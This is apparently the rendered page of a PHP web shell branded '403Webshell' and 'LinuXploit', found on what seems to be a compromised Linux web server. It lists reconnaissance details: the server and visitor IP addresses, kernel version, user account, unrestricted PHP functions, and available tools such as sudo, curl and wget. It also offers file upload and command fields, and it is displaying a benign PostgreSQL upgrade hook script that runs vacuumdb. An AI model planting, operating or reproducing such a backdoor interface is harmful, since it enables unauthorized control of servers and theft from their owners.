403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/postgresql-common/pg_upgradecluster.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/postgresql-common/pg_upgradecluster.d/analyze
#!/bin/sh
#
# Run ANALYZE on all databases in the upgraded cluster

set -eu

oldversion="$1"
cluster="$2"
newversion="$3"
phase="$4"

[ "$phase" = "finish" ] || exit 0

flags="--cluster $newversion/$cluster --all"

case $newversion in
    9.5|9.6|[1-7]*)
        [ "${PGJOBS:-}" ] && flags="$flags --jobs=$PGJOBS"
        ;;
esac

# don't hang waiting for a synchronous standby server
export PGOPTIONS="${PGOPTIONS:-} -csynchronous_commit=local"

case $newversion in
    9.2|9.3)
        vacuumdb $flags --analyze-only
        ;;
    9.[4-6]|1[0-7])
        vacuumdb $flags --analyze-in-stages
        ;;
    *)
        # fill in missing stats
        vacuumdb $flags --analyze-in-stages --missing-stats-only
        # re-analyze everything to update row statistics
        vacuumdb $flags --analyze-only
        ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit